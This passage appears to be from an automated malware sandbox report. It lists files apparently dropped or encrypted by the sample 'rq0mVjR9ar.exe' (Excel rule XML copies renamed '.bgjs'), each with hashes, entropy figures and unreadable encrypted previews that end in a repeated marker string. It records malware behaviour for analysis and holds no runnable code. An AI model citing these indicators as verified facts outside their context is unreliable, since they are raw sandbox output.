Preview:	<?xml..k.a.3E`(.&.Jp.K)N..3...N.....;....2".p.-.)..&q.g....R'v)T..\|.e.w."6j.y....]w......P...]...].;..!..............1..~..A).z.3...V.L=...Ri.1Q...x.s..^.r.^y..(gES)e.. ..k...f..)..........G.#...p..\|.oN.6r..2...@..9..'.&U.t...@...A..$..?R.2.:B.8.1E..~..I.)....].6...k... .f..3........?}..6a....?P...lz...1...fn1r.}b..[.X .+.......y./.nY..V....:.T..A.Y,~......}.........?.]n..dEgl.Rz..c.n..B.FN=.........9..9...f-...c./.Qf.N.<.K.NX....YQ....[...~^.Hw".pA9.Y..........OM ...Cf...a4...dO..\..`.~z-...\|.:5V.".6...^...4...............[.../.++..^PN..-8..(..X..AP..jt...){.l/..>....T{..MT.jVLd7h~..\.d..i....Rm.... i[Ka..<.h....]o.....T../.c.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.7365191113964045
Encrypted:	false
SSDEEP:	24:0wSH5YfmPDUZNH17CxQvQ9i8Xw8C7EeHl/He/ViTkbD:JcCfdL7CxQvii8A8Coy/NiD
MD5:	1FDB52B243A3EA0764EBAE8632ADA505
SHA1:	3B95397924104EA5D567877A4070D5B25A91FB57
SHA-256:	B115E7031CB50EF0902D2EC8E73E36BD0985EA6573FB2759643F8B4CEDC21AB6
SHA-512:	8FF40FEF19869B16806A38E54A8FC280260FCBFDA204CA67E379C006610EEB79FBFE1BDF9A3EA5AEAE3A41D247771BD5C44FCBDBE528C21593F72A607C7D84C8
Malicious:	false
Preview:	<?xmlt.d3.M.mk..eQ<.z..8.._q.3.....I..=;W=%..+_.g/!....uk....!.3u....\M.Uq..Uc...&.....W ..2#.^.5L7G.[...b..O2k^o..H.u....eA..t.P...j..P.....4/WV.....G-....\.b..`D..\.0@....v.bN.edE[..2P.v.Z...q...M..".G....k7.ea.2~X{..Q..>...b.I.7m?.^.m....i..gw...2<....)Z.o.......r.Ur..z.gC.-..!8wXv......il.....!..hA.t....-3F.]..d..;.p{mR...e.A..k...a.C....4..-.".oP..^t..r.K.3..h...-.Kn.~.s..`>-..A;.I.9..g.\|.CF..<..x .T...)..n../..>...6...NI....'.OK..T....<=...v\i.'L.t0Y.y..I-x.O...Y.L.l..dv.....3.@?.9.....7\|.F.S.O.a....WU>..e.......&..c}z..;...`.W....+(..9....}...T.L.&...dt..{....E;...N?....c.U}"IW>M..%\J....Yh...@....X.......1....9..H..l.8.....J^.`2z. f.T.........sOM.l.\.._Pz...a#....fW..o.5.W....x.ox.Gpp...e...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.736304131472494
Encrypted:	false
SSDEEP:	24:mNEB4R3OO3JMORehd9vvQgSVZG+7uqmViTkbD:mIY3XZMO8hbvIgEAuuaiD
MD5:	E2502B806BEF400618267F7EBA9DEE40
SHA1:	F37900C49ABE0D7F73E9E63B741E4757AF484016
SHA-256:	033E171C47431109C8149C107F71A11667CB91F68BAA27F2B8F2E09521C80CB7
SHA-512:	2DAC47FEEF3D28F0F474531FCD219B98F0F9B690F11098EC6FEBBCE47D7BB62CB8659668BA409516CB540EFBCBD389CD289E46D3E0DDF77A507AF0B8BEC117D0
Malicious:	false
Preview:	<?xml&.Hq.......<_...m...W...6.....B}.......Y.Ql\|V..=.....4.'o.G_w.......$&..3...9 .....j..N....l.?m.]...Sb...{:..t(.!..A.#.m_8.o...)Z>^.y....b...a....}..]d+.........".Ig.cS:..[..y........Ll.....)^....rP.;.q?..?^H<".n...dV..kR.T.j".6.....C.....r.nW.^..E:dI....-.#...d@.U.DK._..N..v.K2%r.~\|F)SB.~...`..?M...._.....q..;....Zh.......4&...Z.S..............r.Z...../....Z55.....Mj.X..G..........>1..12 ...]A...%4h..A..k..gb._..H..S..e.Cyr..'0.A6.?L-..(....{.[%.}.'...n.7.v[..5....P.D....;.#.?.....f.N. ..R\|=..E.4.X..i...R/...~......C..!$..e.t......v..?.W...,..=a...51.....K.$.".6.V...4....y....-B.7........*g....Ep...OE.Z.3+$..x....].D..T....G5....'LO..^.z....RW.....QmK!..zki.....j.d....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.7536743546388305
Encrypted:	false
SSDEEP:	24:p+AiuVmwjJo+1X0NlVecil8rE99QnLy+00ZiTkbD:w+VmPUc+9inW+L4iD
MD5:	53B0AC871BC5F8696653E809CE658D5F
SHA1:	5736FA0037C880ACA1E3C923A33744879D220943
SHA-256:	07F1194EC63C7597075968F49623AA8D2C1974BBEB61314648563F09F6127B5B
SHA-512:	5CAF27BD6567B9C17908C47E047AB928FCB5A7AEFBB2A033A2A0BFB7CA2518FBC4628160469F9A3DF68F13B66D2A015C46AC56184BE51E712E6ED20DF69CB66F
Malicious:	false
Preview:	<?xml..8.C.....]..nN....Z.....=.~..(`.'T.....Fs.R..~.d4../...'N........P..,LF...Z@.=%..)...L.~@(.Y.f.w."#.O}........~.?...........L:..q....A....L._.W.....m ..p...%.....8...fr...-.Z.......S.o.90:....f..b1.@i..-.iF....S...l.T..uY..$..FG....vb..;,}.m..e..[4E.w..+.S_4._.@.2....!.+....Fw.W..l.....@._N}\a..'..........$..F.$d..h.dr.\+].@..S...z.%`3)..P<..`.C...f.._"...../.a.........i.....7...../...DR.$}..2c.y..](T/..~.....{:...L.B+u.E..i....e,E.w.o.h...2...&v(y....iT...EC.&.r4...\._.k..\<?QbN."....Q.....zq...!:..r/oc !7..0:.M6......5.f.}.$.....E.Q\|..H.,6.q.......f..A.....D.Eb....].gW.S.../..-E..q...b.m. .R ..............h..c.+..b..c........J>.....v.^&.}S-.*.....O.s.."=.........Pm.0@.:.,...E.;..or6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.707823242207901
Encrypted:	false
SSDEEP:	12:xxookOhhVWQJ63XTXPyrm3XnboOV+E49sqS/d2EQOPsRIj+YxK+wY06k/ixpZacq:UJOXWV37Py0XnfMEis9tYIj+YA+wIKiq
MD5:	29F3DE7949C4C2E652CA97801F4830D3
SHA1:	0F754D5D4C75EAFAAA74AD80D50F54CF4A0539FA
SHA-256:	1C4808C3833FACD107F8FDB2A4633C3F9D2340E7718A4F24552FF9E6C299EA11
SHA-512:	D3509C5712407E6E19CF9E9A715B482A81B8E0742FF5DDE14186276EE71D5F2A1B1500BD36B34DDE5E4D8D7706C46E1182EAF133F7892FA6A9FE3FAE67709111
Malicious:	false
Preview:	<?xml.X.TiP...).$.X.oh.$.m.IM..N.I.......) .<...D...........6DP..L..$WQ`.0..h.}........ZM.D....a.6.../.5=..uS{....K).......[.w....-...>.2..X; +...d...e.....E..ev....7..>..s_.p......k...Q^B......]...t.S....,.).......8~.6.....za.E.."P.~.h:Wo..z..+....#. ...^:E.j...s..3 .....{...~.Ks.Y3..9..0..}..C..A...A..&..HS8....&_.G.7..\b*c.V....n0.. .4t22.2^'..!Bj..6......x....kSF..<..........'.=O..(..wA..)..<\...r.S(p....c._...we.nA..../.)~..\|..~.N.a..$.k..Gh}...&,.H.B.>.$i.q.8\|.Q....U_..N.."j../......h..)~y.X.k4......5..LHk..-`......!WhN2.7..d.?.......M.1.C.:."....qJ..#a.V.51 .1...J.1..!..&..3k....w.E.L..J._-.C".n#.gd..n..N.r]G.1.br6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.730804664476503
Encrypted:	false
SSDEEP:	24:vL7FzbWB8BB+mjZMlkH8RCHhPqFQNfX4zgpMCedqCEiTkbD:vL79bWBGRlcRghSFGOPdqCdiD
MD5:	E1F8CCAEB2A6F2E9A9196DCE92EAC7BD
SHA1:	138568391833164E0583C09CA6C556D2BA54BF91
SHA-256:	EFCB81B29FBC3F4EBD421E029CE4B18347DB0416921C3EBDF6858C8366BA5D37
SHA-512:	0E98FAD0B3360D49943C2B1D58CD62958AA19E949A2837A62EB9E8356F62F30E8F691D7DE7644782D96B12530B25D94F18174788BC4CACDF46AAA04D7D3E71F4
Malicious:	false
Preview:	<?xml.XTo.I. .'T.k....j.01#.l..L7..+v..\|....S.z..(...N.qf.d)9#..0..c. ..../.....\|..G.A.j.:.5.c..2..V@..@...<./0c..."..{k..A..}.O.".-Y...rFaZ&..+x..4....~.....c_.\|W#...@<....+.9....Q..in...D...y-...&....~..c...t.3.;g.W............!p.E..t.........{j...F..]).f..._.JyJ.H.P..CVs..S..a...;.l.5.J..6...W..Q...,Y.d...D.T'.cX.p.9.bP..\.8S^.fY...F...7.Q.9............@..U."..t9.4..b.E.c...y(i-?.D.N....JbGy;.?..'.....)..6.......z.e.7..)...~.'........Hsq0m..:.Q.x.\..Y..........-.]5.5..`..O.#..=.K..^...s....=..k...An. ..@.<e..yy..-r.;...PE..m{...w...4...D@.I.<.....XmeF...l........ .%<.~]...'.-b.`f7k?...<\.m....C.t......N..]Z..(..9..`..Y......'"..=..........7.y\|G....Z.....\|I..Bg$.z...J..-I...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.6931406993574525
Encrypted:	false
SSDEEP:	12:c4vJaXTm+JhwvLkkVT//FlpNU7VFvGuqeR17wF2HcI0K9N1CixpZacii9a:fuQFrNUBq8wkcI0UXCiTkbD
MD5:	A079A59C2EDD8F7EEF219FD158CA1CB3
SHA1:	1792D61D4B0B9232879EA96A66A43707188D110A
SHA-256:	40D08BAC737767BFC43D78AB12B9CA62954BE7D0E2044E8D4646B0FD9331D24A
SHA-512:	9C109F7C967D1BAA652B211FA196ADF680A50264D731922913F0B606638B6AE19EA7EADD412EAEFDEB39FBBFC3B09E73950E8D7E3651F7AC394CF0230C8FA28C
Malicious:	false
Preview:	<?xml!$.f.9{...:..a.>G"6....=......rR ..[...... ..8.V.q......]./z...S.......A.{.0..f/q...$....?U..g\|.o.....B.+Y..`V~.^..M.....F.......%k....];.\|.. 7e.B.nhlV.r5.C...?l.a.....@...;..w.E.{..8.#..@8.(#.-.-..>.`lKO.d.~.....z...\|Je...;..6..;Ho..M....t#&.......\|...s5.N..P..V/..L....U^Q[.&+...{m.Jh.z....L1P..r....<.1qb9.......z..0......)-4%@.4......_O....1..Uw`..C.q.(..-.f....U.{..=Fi..C..I&.XDY.Lt.b]h(.P[_.2..;.....^..$.4@...C..L0@.T.S.'c&...5..'...`O..#.?W6.t..5..;.._.3.7..`d..D.Bh..aQ..............-.p....;......v4....Y]).7A...3..h..J.oZ.q..3...x.O...t..O......o.j......2T.. sy..g.B..uoQ.V../g..\S...E...9/....JS.!\..F..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.711654846415079
Encrypted:	false
SSDEEP:	12:RUo1TZB/5l2JVZiVM0EKuixwTt/FJ16E3pGGp34QKs8cpD7zKzz0eTunmbxixpZE:RU8TZBP0ZuQKu2Sx9GG1Gf10mbxiTkbD
MD5:	0BB13B3E517695AE95AEC390EFDECE5B
SHA1:	CB548603C80C7251C30F7BBEBF0115F6F5B0C430
SHA-256:	708F5F28DE61FB51FCCDF8F3841FBE00EC3EC579C8971BA0613565D1C8110669
SHA-512:	23516BBB45D5C822B70B8F6933D993CC9C5B44D62D9EC5ADF67A9A51A54A8B6DB49471D77824466414EECB86FB5A42DD5D6A605A01753D915EB981C360D00B92
Malicious:	false
Preview:	<?xml...@!{...[M.......0+....'...8Srg..(,...Y.9._^..\|.C.....a......}S..w-..t~.,rw....0...%:..y.I.x...Z.......%1...f..@..N;<?X.....v...!..0...A)...%.e..:s.<.....7h...%. fz......c.1..o.....:........)....5-.9P...h...0=p..B.1.)Xt....;;.;.....y.g.d.Tf=.Ri.l...[.9...N.U.}5.hiYFGo........J.$........a...p...,q.$...m.k...~..O...f.0W).,wF...0...c...k...j...}...q./..>X)<!5.../..<E0.#\|.a.P.+^..N>p...-...r&.Ohr16..qb.`.lT.r}.y.._...\|. .Y..USL...P.@..zB.%..=..BR....s.<c.l.6h...5.u...>(..].s(.`.il....P..\|.uv.....N.YZG....M.G..1c]/....Pa.Y:.......p.x.g4.....LEN.!...&s.dy.-(..*..m...D..s..k..Y.j?).....91......)...f(.~S.......V.....P..U......uE:.<.Q.....D...A..B.R..pA........{?...p.x-..Pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.716084013144547
Encrypted:	false
SSDEEP:	12:SUVwXVbaKWOQqT6PO5TgB2BF9DH1JMMIJ7dNUtNtYWumzI9Sklegqt/sUbF2ixpW:SUa8fNPO5TZDDMMIJ/Ur+Wu59V47EUb8
MD5:	51A8B00A57513FB61FAC1CA03C6F1A80
SHA1:	D1B7997835BC3BA9F69046AA61D35416E3547978
SHA-256:	F40B8407F0B75C257AEDB3FABCC620FE81DC6B83D72CE4A49D281A7175B95582
SHA-512:	303E29021040D9709D51072291343DC15BF0EF7588FD05522B35DB0AEC6CFCB2FAD4BD5E95C8253B3C26DA9C2DA7AB043B6671730BCA00DC54E80AEE22F6C230
Malicious:	false
Preview:	<?xml..9.t=.b......v..../j..N .F.\|\|.AZ.....-W_d2C..n.......t........ :...i..u%KN.V..7...}.[...Ao....OU.`.L .M.P.H..a...-..h...fuZ..j}`[.0..o.po{W.....t.;2&..O.....&7.f....($p..kU.`..W..i.y%.{]+'.......L.D..0...c..J.........bG]2"$.-...z.2.Y.A.yI..[.P....h...z....P.........d6......(.......i..s........r..p.a.:.%...].2~[.G.../x.m.d.%.5..G...,..s....._..\|..]..........].K......fGE#%...S.....e..m.\|..Z....}.h....RaS..\|<~..v,EI_...-....8.z.z.8E......cY.....+......].~.....'...5s..2.w.[W.U%....,....WE.....g~`..h.`s..Q.h>m...JM..A[.0.{P3.&r..I.d.0.....m\)....F.r!..dp....T...Sg..3v?L...Ce....)......x64"..G....E...xIh(C..,.V..ziSp7C^-. ..zT.%..e..dU.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.7307964282266965
Encrypted:	false
SSDEEP:	24:mZCkXPEXUlC2reRVk4j6YcDbaj2AdXB9uI/iTkbD:msk/xlxrWkHxvaqAdeIaiD
MD5:	2F17BC124804D3BF1E8B3A510253780F
SHA1:	E373BD307FDFD730A7FAED7460EC98B585883713
SHA-256:	E06981E85094A37D73C0A70F1E2FE2A4F7F220FB97F001ECAE196DFEF2515075
SHA-512:	7DDE8B0D69333B256E6EB771DEFAE5C62A2E105A1D4040D1FDBEB4818572C0062BA2DFABD7BB17E4B1DCA76CA103EC2CF8E5ED8F3A04BA69C040232B440A2DED
Malicious:	false
Preview:	<?xml...........Oz.l.}7.a,dHG..O...f..4#o%.Q.%........).}..x\.t.@.....T0.,.._.g.d.j.../......z.wu......w.G..7&+0m4G.)]...... ....[.6....~.:9.nu25.gs3...p@eN.[}.k....4Y....b.W..v.UcUu!f...).%w..G......Nl..:ts...eYs97.ha.p.E.<..)..a..q...F>..P..\-..'....f.;...A..&X.N.N....8.L.....(...2....TY.I8m$...:W..qv.......htW...............N..jn/...b.,_\O.`sF.f.......C.I..#.......B.b.j.k...su.....2...[O......Q.=.8.W...w....9.\|.a.F.sH.T.......%Wz...s..nR....@#....`...Siv.Q.<.d.;..".t..{asKq.P...(B...`..4N...1</.#%..g.I../;..9z.B.h....4.Ak.K...@.].#...^<w...e.._..T...".l.R.v.#......I(.2..{.g.4...6(.m.s..O..'+.>.Q..:'}..k.....t.#~...C.............No.6...(..a.[.1gLx.J!.:-Ri.......)A..>.Z.2.Ab .[.:.>......)i.<cw\|l......G.*....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.693835360219065
Encrypted:	false
SSDEEP:	12:sOz4ygGmtV13B/8wBJUSCWOKIgPOZqiTl9GmwSuK222vlKRrJ46aXKbBHko5ixpW:rz1avRqjKIg+qix9G0u722AFwXKbD5iq
MD5:	A137E19BCB32675DE828097331878CAD
SHA1:	6DCEC9C634DB17D8C4820A022AF1881B6CEB07E6
SHA-256:	22DA24A5B5C54336EE801CFC0F9E9921836DEB7149784A42064383CCF10D1790
SHA-512:	9542B1F73757B01B8344F418F200F3D9E345078460672C568D292BA95CB17211DD9A76D24BBD1EF53704460F35FDC2991AE2A8F6176B9D966D8113C5BC741182
Malicious:	false
Preview:	<?xmlPI....#...n....4.x.^.W9.X..,i..n...T..f:+...{....,..lS....R.lMBd.....fR=1Mf..F0.U.....w.{..G`o..U..w....z..(.......f8f/.!...c4..rh.......DP......O...t. k..u.(..6..w8.c...^.[i}...U%...r...v...w..~..5D.B..i....hF...V.X...1.K.......G.X..7...,.b....e....o..6@.3...ve,..S].}.Pn....5. F..I..._.@.l.Qut.4..Lol.....sj.a..>..iS=Nl...lU-............]Q...K.p;..:u.....a..n.$...%..?..\|..3.v..w".^.7...?..6.9.z..,......U>.........A..Ck+<\Be..Z<....j2....`.^...2..$..jK^8cm.W.5F....9....S5.......a.....!G......'....2......s._.n~.%GC....ed@..j.....b............{..~G...`*..f....=j..atj...fd9,..z.... .......V.&d..['....f=..$@)....V.,,.{#...Z.3$7r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.70808628139374
Encrypted:	false
SSDEEP:	12:7bNcQARGtBbhR9rdBfRgsKWUelDe97HP8TnNRvZXbeoLnA1ZZFixpZacii9a:7BcXA7d/7pgsKIlDhBRvp1nQTFiTkbD
MD5:	C64907C74D782A8A622A976EFB954D5B
SHA1:	8E27447F0718078B64461CCF27D1A23BDBFF1490
SHA-256:	1349833B212FD3FB1F4A35222AD8C1221A727B4C17D13CDFF02FB8CFA7A37FDA
SHA-512:	DDB93E6FE3F5D222974EDE2A9F85461B6FD78ADC281FF7676FC28EE65A287AB745A2A80040BF3A9BBB3ECF03634C1276B6A6384DC225A44B11893D3DF7C9CABF
Malicious:	false
Preview:	<?xml.....(..:cc5...qV...;-......5suu./..h..G....J;W.=.....3QX..t..N. ..,/v..&..e.&$..S..+.y\|2....j.:}...+..-..4...8...g.+..i..3s.D.g.$h....<...t.A..Q...zr.e..]....'H.,.sn.S...b...N...... .U.^.h'._....'..I..e....J?.(._...n.{Q.........u..........MU.9^.......!#w....v...z.R.....EQR..V.u.<..=/.4$...n.o.}.............V.L....".:.._.=U..../..P;Bj.Ba..<.Ti.z..Arz.D.?...T$HEn..A..U}.r....X,C. ..}!\\|...3.DL...H.V......T.Q,hA.{m.6.Y.....7.N.e.f.#O.~.e..V...G4...).}..].....PA.@2D..Vu.............0F.D.D6.<x........Fv#...P...,}U..7w..}[...0.........[.....io.!=...}..3m..NhE.NR..u..X>iNUw:..........x7..i...&J...\|T....ya'.;)..cW...I..L.:.................!.-..c.R.....[..j4 0B.<I.]....Z.m..d.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6902492175811465
Encrypted:	false
SSDEEP:	12:THtGQhgzYDQuirukS8bVURhIZclu3eWptAeFU8l9h6HErPei1thixpZacii9a:THtGQvMuiruuhZVuuAea8lprP1thiTkX
MD5:	752639280113ED16BD7152ECD5051417
SHA1:	B3D709BACD5C3C71BBD083C8B2205FF627D8A450
SHA-256:	4E993D0546B469F98BDC9C0D84E70FAC34C68A3290C2A42EC2ADABD8C24B74AE
SHA-512:	BA37000064A4B2287311D13E64AA1EF12A7F6883CC67BFB82B4ECA4808A02BBD1DAC29884E1F3CF5091E540C972C4CF9D5ADB1A54F0868A4979F66FC1AE0ABF2
Malicious:	false
Preview:	<?xml.^.8.l........a'.o......Fg;...p..=.L..z.6Z......[.Sg...2...e...._.i..x.p.....8....!.m.(Gb.g.6...cN.#..,.~'E...W".)...2..y2X.`..]...........mK...yHW.N.\|...v..+..k9.2e....>..m.!e0?cI%..E.;...!q..u.Y.E"..........h..G..a.g....O...@Xa`.~b\|..$.X.7r..*.x....Pq.h.f...1D3FD..~...C58r..~Ul}[_.W!.M...tRi<d,.i4Z.B.P.4;.l...].P..{.1l..v.H6....G?.&"R.....{.o.n!........m7.,$..K....Oi.GMJ...5..+.....Cf}.V..\............p.F>....&&..pD.?...beX.4g...N{.r....!U=.1X.O.h.5e.(...-..F.Z....lu...AR.U..>....B.L.....xF\|h..l.<..kt.Q..j..@]..p...!i..[?B.LWN.&..Et...}8...)..XYCp:bx....U....}gI._.C.............%Z....?.#.a..g...Q>.:ex.?.YB.h...2..o..Q..&}..7u7r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.75479326339704
Encrypted:	false
SSDEEP:	24:pp4IQqjNMnNrRLgjdvNVpTs6e69l2iTkbD:pCIBjNu/cB1VJs6xfiD
MD5:	05FEF4D2E4F3E310979E2AFED611601E
SHA1:	D2C9597328E5EB4BB7DEA465363FEF57BB8FED84
SHA-256:	88226FC0C8A71F4F2D43832E2080EA9FB96457A08EFAB9B40FA6C93D8949EB29
SHA-512:	B5C68883EA6877E54869711541E86DE78A23B9AD11C7A88C5FBE014E40B9685E33D59D33418144EA2663C27546E1FB4A53B987822D9A53D27E57A08F4E1C09C2
Malicious:	false
Preview:	<?xml.'.f$...Ng.+,.X.b..Y`.(....A\|.Y.J...@){xqX....b.....55.!..`....7....EO_.......w.f..!..t.S.t.....m...uT.F.././j......s...sf.r.m...w3y.z..)O.V......B-..;...~].?....d.Qx....z1.Zt...~..v..`).P...Kw...Y.B.>....Mt...x.c....._...0..gf.p.0...<{4t....h2KX....C{1h.W..v0..$3n.m.I`...N3n..E....\|'...t=..4wVCO....h..+.u...........=...(..5...Kse.........S."MY......&A....w...ed]...s.._.....K......5....U....{a....ux....7...r5..>%.,=.\......W.C...h.{..3....v..Ki...............m...J....eZH@CI...a..a....J....`e^/I...{....?PGb1_n...Lfp.~q..&.E.....@..W..*.G6...o..iD.. V......n.9\6....-...q......W.C.!g6..1....c..wC.....D...z.H..{B[.\|fv........e..l...Qv...0.Q..8 ...?...sY.....aT..D....$.L.."y............nG...1.r.:3.?.Y.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.704775597649694
Encrypted:	false
SSDEEP:	12:bXwLoJj9KGEZ/PzhmXpDn4RJZSbI/gH4unELf5np9SxWQKDvps+eXGixpZacii9a:bgLGJynzhmhg/gHzgfbMQQSpWXGiTkbD
MD5:	7CDC0BA69BBD72089F00EBFDA425909C
SHA1:	E76C73E746ED2DF059DBB582CE90223B02A8A270
SHA-256:	423599A4D2DFF41CD867431E47B1F349BE280A969CE14452965C4E95809F77CB
SHA-512:	6E8B088D7343DD4EAC76767CB920B2BB02EC0B9010BCA12D15DCB34721783911694411F1E4C3C8FAB766F674301BBB89D47DBBD21058818C187E05B09A879468
Malicious:	false
Preview:	<?xmlb.\|'....cJx./.r...j5.\...>..T[:3.....0.,....O.{....[...1'.........&q..{X.&]^.t...5._.k$..5G..0....i/.jHr..A.AR..cp'.T=;!..R..v..T.<.qv.f.....].QG.p./....)I.n..f.T`d. ...Gb../Z(L..c.rf.3H..\|Y.....-..!.....&......p.*.[...~..M=...\XTz.$O-.#.a.....}.....5.<.<....C[.8...d.....G...CE.........ae....4t+....t..,.Dz.q]a.\.U..>..i.1.k.!h>.K.7.d...HN...C{..m.sn...4l.a.?.c...w..........;.f.LG..g...>..]n.`..V.<+TU..{.i..!s....b}...R......M._-\,.HB..D....V.@T_../.....z....".,P.v....Q0d.wl>$.n...Q,.s0......R.....#.~..J8gz...4..m....D....9.B.p...F.........P.KU...M..h......'j.......G'07..Q_m6.p..a.....WR3..1..!..6....d.$.r...(...W..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.703717194648163
Encrypted:	false
SSDEEP:	24:3b+ppaRAA/G465636LZKSRzexMQyels9AcbpBiTkbD:3bKaRlG526QSRaxOelgAKAiD
MD5:	89FCC31AB59DFF4E4AFDFBE400E7C82F
SHA1:	41D280D8131FE99D6EA6AE7FCB55FF0122253946
SHA-256:	1F69DAA247CAAB14ECA2A752580CC431471CD648403D9018A5F5451299F662FD
SHA-512:	8C5C8DBFF8E0920EE1944B7A78C8F160642576C48AE6B442DC2569E9B0355FAEEA898B92B88FF2ABF22AC4C9212923086283C5081BB63E2CFE2FCF7AD68BB86F
Malicious:	false
Preview:	<?xmlB..V..nGt...{.gRi..v6.z..Z\.U.L..:...+....Y.N.d:'V.......v....F..4"..Hs...._.......~.'J!?..\R.Si.......:(^.r..%/...t5..lk...n.....i'.....z..K.4%..`K:n.J!..-...-.....f......Z$K...........(...l_.tE..G$...m].Ho'iI.+.7E..0.Z............A...u..x.sq6IGM........N.u..F...'..GP..i..l.$@..>.....;%..`....aQ...@..D....F.F..r......L..#......W...[f..!`"..r=..=.m}......f"C..[.#.{...G.P.t,.OJ`.&.....(.h1.nZ.c.....`..4f.).....>(...D.?..i.....~...Z...@6m.&*g..QYQ.;.....(d.......t.!.....T.8.....u....b.T......,.k...6!.`b....G.....<J:.V....]+.-^..:.G...#...9w.k.2........h.....k`..]..A......g.....Z3A..t...t...u.d$D0:.(.r........m .e.jM...Y..=...'..R.=$v@....I..oQ]h.....b`4..7........P..mr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

